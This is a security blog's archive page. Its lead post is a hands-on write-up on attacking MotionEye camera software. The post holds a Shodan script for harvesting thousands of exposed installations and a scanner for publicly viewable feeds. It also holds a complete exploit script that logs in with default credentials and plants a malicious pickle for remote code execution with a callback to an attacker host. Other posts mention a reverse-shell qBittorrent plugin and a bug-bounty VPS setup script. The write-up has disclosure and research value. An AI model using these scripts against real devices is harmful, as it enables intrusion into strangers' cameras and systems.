Category Archives: security

Hacking MotionEye/MotionEyeOS

Getting Started with MotionEye

MotionEye is an open source, web-based GUI for the popular Motion CLI application found on Linux. I’ve known of the Motion command line app for years, but I didn’t know that MotionEye existed. I ran across it while trying to find a multiple webcam, GUI or web based solution for future projects.

MotionEye comes in a couple forms – a standalone app, which I used the docker container version of, or a “whole” operating system, MotionEyeOS, to install on a Raspberry Pi.

Starting off, I used Shodan search to find internet facing installations. Here is the script I used for that. If you use this script, you’ll need to put in your API key and the limit parameter, which limits the API queries that you use.

#!/usr/bin/env python3

import sys
# pip3 install shodan
from shodan import Shodan
import requests

# check for api key
api = Shodan('') # Insert API key here

if api.api_key == '':
    print("No API key found! Exiting")

limit = 1000 # set this to limit your api query usage
counter = 0

url_file = open("urls.txt", "w")

for response in api.search_cursor('Server: motionEye'):
    ip = response['ip_str']
    port = response['port']
    url = f'http://{ip}:{port}'
    url_file.write(url + '\n')

    # Keep track of how many results have been downloaded so we don't use up all our query credits
    counter += 1
    if counter >= limit:


I ran out of query credits when I ran this script. There are thousands of installations out there. This script will output the IP addresses of those installations.

Finding Live Feeds

In my review of the application, I found that you can make a query to the /picture/{camera-number}/current/ endpoint, and if it returns a 200 status code, it means that the feed is open to the public. You can also increment the camera-number an enumerate the numbers of cameras a feed will actually have, even if it isn’t available to view.

I took the output of script above, and fed it to script below.

#!/usr/bin/env python3

import requests

url_file = open("urls.txt", "r")
urls = url_file.readlines()

live_urls = open("live-urls.txt", "w")

for url in urls:
        response = requests.get(url + "/picture/0/current/", verify=False, timeout=3).status_code
        if response == 200:


This script outputs the URL of camera feeds that we can view. But the real question here is, what security issues are there with MotionEye.

Information Leakage

It turns out that if you make a get request to the following endpoint /config/list, some of the feeds will return their config files. Most of the time these config files are innocuous. I’m not sure why these are publicly accessible even if the feed is publicly accessible. Maybe it is used as an API endpoint of some sort. I need to dig into the code some more.

However, sometimes these config files contain some very sensitive information. Consider the following config with email_notifications_smtp_password and email_notifications_addresses removed. These passwords are supposed to be for services that the public cannot access, but unfortunately people like to reuse passwords. Again, why is this file even readable?

Rate-Limiting and Default Credentials

So, the default installation of MotionEye uses the username of admin and a blank password. Additionally, MotionEye does not seem to institute any sort of rate limiting on login attempts. This is a recipe for disaster.

Authenticated RCE Method #1

Once logged in, I found two simple methods of code execution. The first of which is a classic Python cPickle deserialization exploit.

In the configuration section of the application, there is an option to backup and restore the application configurations. It turns out that if you include a malicious tasks.pickle file in the config you are restoring with, it’ll be written to disk and will be loaded when the application is restarted automatically or manually.

You can simply download the current configuration to use it as a template. After downloading and extracting it, slide your malicious tasks.pickle file and tar.gz everything back up.

The final structure of my motioneye-config.tar.gz for the docker container is as follows:

├── camera-1.conf
├── motion.conf
├── motioneye.conf
└── tasks.pickle

Alternatively, the final structure of my motioneye-config.tar.gz lon MotionEyeOS is the following:

├── adjtime
├── camera-1.conf
├── crontabs
├── date.conf
├── localtime -> /usr/share/zoneinfo/UTC
├── motion.conf
├── motioneye.conf
├── ntp.conf
├── os.conf
├── proftpd.conf
├── shadow
├── shadow-
├── smb.conf
├── ssh
│   ├── ssh_host_dsa_key
│   ├──
│   ├── ssh_host_ecdsa_key
│   ├──
│   ├── ssh_host_ed25519_key
│   ├──
│   ├── ssh_host_rsa_key
│   └──
├── static_ip.conf
├── tasks.pickle
├── version
├── watch.conf
└── wpa_supplicant.conf

Pause here: You see, those are ssh keys. So you say why don’t we just try ssh? Go for it. You also may not even need a password, but some people have either secured ssh or disabled ssh on the actually raspberry pi, so it won’t work. A lot of these instances will have ssh turned off, and if it is running in docker, you probably won’t be able to download the ssh keys. Also, it is more fun to write scripts in Python.

Once the configuration is uploaded, wait for the app to reload, or, in unfortunate cases, wait for the app to be reloaded by mother nature or the victim. From what I can see, the docker application will not autoreboot. Here is a Python 3 script that will do all of this. Also, see the github repo, which may be more updated.

#!/usr/bin/env python3

import requests
import argparse
import os
import pickle
import hashlib
import tarfile
import time
import string
import random
from requests_toolbelt import MultipartEncoder
import json

# proxies = {"http": "", "https": ""}
proxies = {}

def get_cli_args():
    parser = argparse.ArgumentParser(description="MotionEye Authenticated RCE Exploit")
        help="Victim url in format ip:port, or just ip if port 80",
    parser.add_argument("--attacker", help="ipaddress:port of attacker", required=True)
        "--username", help="username of web interface, default=admin", default="admin"
        "--password", help="password of web interface, default=blank", default=""
    args = parser.parse_args()
    return args

def login(username, password, victim_url):
    session = requests.Session()
    useragent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36"
    headers = {"User-Agent": useragent}
    login_url = f"http://{victim_url}/login/"
    body = f"username={username}&password={password}", headers=headers, data=body)
    return session

def download_config(username, victim_url, session):
    download_url = f"http://{victim_url}/config/backup/?_username={username}&_signature=5907c8158417212fbef26936d3e5d8a04178b46f"
    backup_file = session.get(download_url)
    open("motioneye-config.tar.gz", "wb").write(backup_file.content)

def create_pickle(ip_address, port):
    shellcode = ""  # put your shellcode here

    class EvilPickle(object):
        def __reduce__(self):
            cmd = shellcode
            return os.system, (cmd,)

    # need protocol=2 and fix_imports=True for python2 compatibility
    pickle_data = pickle.dumps(EvilPickle(), protocol=2, fix_imports=True)
    with open("tasks.pickle", "wb") as file:

def decompress_add_file_recompress():
    with"./motioneye-config.tar.gz") as original_backup:
    # move malicious tasks.pickle into the extracted directory and then tar and gz it back up
    os.rename("./tasks.pickle", "./motioneye-config/tasks.pickle")
    with"./motioneye-config.tar.gz", "w:gz") as config_tar:
        config_tar.add("./motioneye-config/", arcname=".")

def restore_config(username, password, victim_url, session):
    # a lot of this is not necessary, but makes for good tradecraft
    # recreated 'normal' requests as closely as I could
    t = int(time.time() * 1000)
    path = f"/config/restore/?_={t}&_username={username}"
    # admin_hash is the sha1 hash of the admin's password, which is '' in the default case
    admin_hash = hashlib.sha1(password.encode("utf-8")).hexdigest().lower()
    signature = (
    restore_url = f"http://{victim_url}/config/restore/?_={t}&_username=admin&_signature={signature}"

    # motioneye checks for "---" as a form boundary. Python Requests only prepends "--"
    # so we have to manually create this
    files = {
        "files": (
            open("motioneye-config.tar.gz", "rb"),

    useragent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36"
    boundary = "----WebKitFormBoundary" + "".join(
        random.sample(string.ascii_letters + string.digits, 16)

    m = MultipartEncoder(fields=files, boundary=boundary)
    headers = {
        "Content-Type": m.content_type,
        "User-Agent": useragent,
        "X-Requested-With": "XMLHttpRequest",
        "Cookie": "meye_username=_; monitor_info_1=; motion_detected_1=false; capture_fps_1=5.6",
        "Origin": f"http://{victim_url}",
        "Referer": f"http://{victim_url}",
        "Accept-Language": "en-US,en;q=0.9",
    response =, data=m, headers=headers, proxies=proxies)
    # if response == reboot false then we need reboot routine
    content = json.loads(response.content.decode("utf-8"))

    if content["reboot"] == True:
        print("Rebooting! Stand by for shell!")
        print("Manual reboot needed!")

if __name__ == "__main__":
    print("Running exploit!")
    arguments = get_cli_args()
    session = login(arguments.username, arguments.password, arguments.victim)
    download_config(arguments.username, arguments.victim, session)
    # sends attacker ip and port as arguments to create the pickle
    create_pickle(arguments.attacker.split(":")[0], arguments.attacker.split(":")[1])
    restore_config(arguments.username, arguments.password, arguments.victim, session)

Authenticated RCE Method #2

Another method of code execution involves motion detection. There is an option to run a system command whenever motion is detected. The security implications of this are obvious.

python rev shell


While authentication is needed for RCE, the presence of default credentials and lack of rate limiting make obtaining authentication straightforward. There are a lot of people running this software in a vulnerable manner.

As per my usual advice, don’t expose MotionEye to the WWW. Like all the self-hosted solutions, I advise you to install this to face your internal network and then connect to your internal network via OpenVPN or Wireguard.

Update: As for MotionEye, I really like the app. I’m currently using it in production – with a robust password, haha.

Quick and Easy (and not the best) way to use HTTPS with qBittorrent and Firefox

Wanna use HTTPS with your qBittorrent WebUI, but don’t know how? First off, you probably shouldn’t expose the qBittorrent WebUI to the internet. Use Wireguard to tunnel into your home network, and access it that way. Some will say you don’t need HTTPS then, but that is a discussion for another day. Anyway, if you want easy HTTPS with qBittorrent, read on.

From a Linux CLI, run the following command. This will create a cert.pem file and a key.pem file.

openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365

Now, we need to add these to the WebUI. In qBittorrent, go into options > Web UI. Check use HTTPS instead of HTTP. Then, enter the paths to the certificate and the key that you just created.

Choose Use HTTPS instead of HTTP

Now you need to add an exception in your browser. This will bypass the warning message that you’ll get that warns you about your cert. You probably shouldn’t do this, but oh well. If the bad guy has gotten this far, your qBittorrent app is probably the least of your worries. After all, they’ve probably already cracked your WebUI password, and can run arbitrary python code, as I talked about here.

Anyway, in Firefox, go to settings > privacy & security. Then scroll down to find certificates where you will see the option to view certificates, so click on that. The certificate manager, as seen below, should pop up. Click on the servers tab, and then click add exception.

add an exception in Firefox

Enter the URL of your qBittorrent WebUI. As you can see, in the picture above, mine is Use your URL in the location box on the add security exception screen. Then click get certification. It’ll query the site for the cert and then the checkbox to permanently store this exception will become clickable. So click there and then click on confirm security exception.

Boom! That’s all you have to do in Firefox. Now you have HTTPS with your qBitorrent WebUI. I’m not going to cover Chrome or Edge, because you should use FOSS (and don’t tell me to use Chromium). Again, this isn’t the best way to do this, but it’ll work. If you want HTTPS with an official certificate, try out Let’s Encrypt.

Evasion Techniques and Breaching Defenses (PEN-300) – OSEP – Initial Thoughts

I just started this course the other day. I’m already neck deep in VBA, C#, and Powershell, which I need more experience in anyway. I had to do some C# for the AWAE/OSWE and I’ve written a couple very small web apps in C#. I’ve done a very minimal amount of Powershell, though I’ve been meaning to change that.

I know a lot of people say the OSCP is lacking in Active Directory attacking, which may be true. I’d counter by saying what the OSCP doesn’t cover, PEN-300 will cover. The courses go hand in hand. My early opinion is that anybody that takes and passes the OSCP should do PEN-300

All in all, I’m pleased so far. I’m only about 1/7th of the way through the PDF, though. I have a lot to go. With all that I have going on IRL, I’m not sure I’ll be able to finish it in the two months I’m allotted – I may have to get an extension.

My plan is to pass the OSEP exam in October and then start the EXP-301 course and pass that exam by the end of the year. This is an aggressive, and probably unrealistic goal, but oh well, haha.

Anyway, I’ll be back with a full report after the exam.

CVE-2021-35959 Stored XSS in Folder Contents on Plone 5-5.2.4

I’ve been testing some new Python-based CMSs and CMS-like software. I’ve heard of Plone before, but I never had a chance to check it out until now. I was a couple of days into my experimenting when I ran across this issue.

I have to say, the Plone team’s response was great. I got an almost immediate response from the security team, and a hotfix was pushed less than a week later.

Please see the following links for more information.

Malicious qBittorrent Search Plugin: Feature or Bug?

TLDR: Read the code before you install random qbittorent plug-ins.

qBittorrent has a feature that allows you to install a search plugin to search for torrents on your favorite sites. These plugins are written in Python, and although I haven’t reviewed the qBittorrent source code, it appears as if you can simply execute arbitrary code via these plugins. qBittorrent does not seem to do any sort of sanitization.

I added a reverse shell class to an already existing search plugin. The shell should work on Windows and Linux. Although, qBittorrent seems to have some issues with what version of Python you are using. Nevertheless, be aware that unsanitized code can be ran via the search plugin feature.

Here is a link to the malicious qBittorrent search plugin.

You should use a VPS for bug bounty hunting

Why should you use a VPS?

For one, it’ll keep your IP address from being banned by certain providers. How would it feel to wake up one day and not being able to access certain sites because your IP has been blacklisted? If you use a VPS, this isn’t much of an issue. You can just change out the IP from the VPS provider. It may be a littler harder to change your home IP address.

For two, it makes tool installation easier and faster. On Linode, I have a lengthy script that I run when I’m starting up a new box. The script sets up everything I need for bug bounty hunting. It makes tearing down a box and bringing it up a new one simple and quick.

Another reason you may want a cloud-based box running is for server capabilities. For example if you’re testing out some sort of XSS/XXE/etc. and you need a server to host a payload, your bug bounty box can serve double duty. Additionally, some hunters maintain giant databases of scraped webpages, nmap scans, targets and their subdomains, and on and on and on. But perhaps my favorite usage of a dedicated bug-bounty box is hosting your own semi-permanent Burp Collaborator server as described here.

I use this in my day-to-day exploitation because I don’t want to host this stuff at home, which exposes my personal IP address and whatever ports I have open to the general public, which I try to avoid.

Here is a small example of a script that I run. My script is significantly larger, but this is a decent start.

See the latest version on my github page.

# for use with Ubuntu 20.04
# some security tools to get started
# use this to setup new bug bounty box
# use at your own risk

# check if running as root
if [ "$EUID" -ne 0 ]
	then echo "Run as root, please!"

mkdir sectools
cd sectools

apt update -y && apt upgrade -y

# install some packages and tools that are used regularly
apt install \
apt-transport-https \
ca-certificates \
curl \
gnupg-agent \
software-properties-common \
net-tools \
nmap \
john \
hashcat \
python3-pip \
wfuzz \
nikto \
gobuster \
masscan \
ruby-full \
ruby-railties \
wireguard \
nfs-common \
hydra \
cewl \

# evil winrm
gem install evil-winrm

# powershell
snap install powershell --classic

# amass
curl -s | grep "browser_download_url.*" | cut -d : -f 2,3 | tr -d \" | wget -i -
unzip amass* 
chmod +x ./amass_linux_amd64/amass 
mv ./amass_linux_amd64/amass /usr/bin/

# nuclei
curl -s | grep "browser_download_url.*linux_amd64.tar.gz" | cut -d : -f 2,3 | tr -d \" | wget -i -
tar xzf nuclei* nuclei
chmod +x nuclei
mv nuclei /usr/bin/

# httpx
curl -s | grep "browser_download_url.*linux_amd64.tar.gz" | cut -d : -f 2,3 | tr -d \" | wget -i -
tar xzf httpx* httpx
chmod +x httpx
mv httpx /usr/bin/

# subfinder
curl -s | grep "browser_download_url.*linux_amd64.tar.gz" | cut -d : -f 2,3 | tr -d \" | wget -i -
tar xzf subfinder* subfinder
chmod +x subfinder
mv subfinder /usr/bin/

#aquatone setup
curl -s | grep "browser_download_url.*linux_amd64-*" | cut -d : -f 2,3 | tr -d \" | wget -i -
unzip aquatone* aquatone
chmod +x aquatone && cp aquatone /usr/bin

curl -s | grep "browser_download_url.*linux_amd64.tar.gz" | cut -d : -f 2,3 | tr -d \" | wget -i -
tar xzf ffuf* ffuf
chmod +x ffuf
mv ffuf /usr/bin/

# getallurls (gau)
curl -s | grep "browser_download_url.*linux_amd64.tar.gz" | cut -d : -f 2,3 | tr -d \" | wget -i -
tar xzf gau* gau 
chmod +x gau 
mv gau /usr/bin

cd ..
echo "Don't forget to install metasploit, setoolkit, hexeditor, burp suite, wireshark, etc"
echo "all finished!"

You can add whatever you want to this script, and then spin up your bug bounty box with one script. I have my script set my hostname, bashrc, environment variables, download repos from git, install docker, install go, etc.

So who should you use for your VPS? I’ve used AWS, Azure, Digital Ocean, and Linode, and I find Linode to be the best. Just try them all out, and I think you’ll agree with me. AWS and Azure are both massive in size. Azure seems to take way to long to do certain tasks, so that is frustrating. The site just seems slow in general. AWS is better than Azure.

Linode is where it is at. It is quick. The interface is simpler and easier to use than all of the above, and it is cheaper than all of the above. Check it out using my referral link, if you’re interested. That link will give you a $100/60 day credit, so you don’t want to sign up without one. You can just try it out for free and see what you think.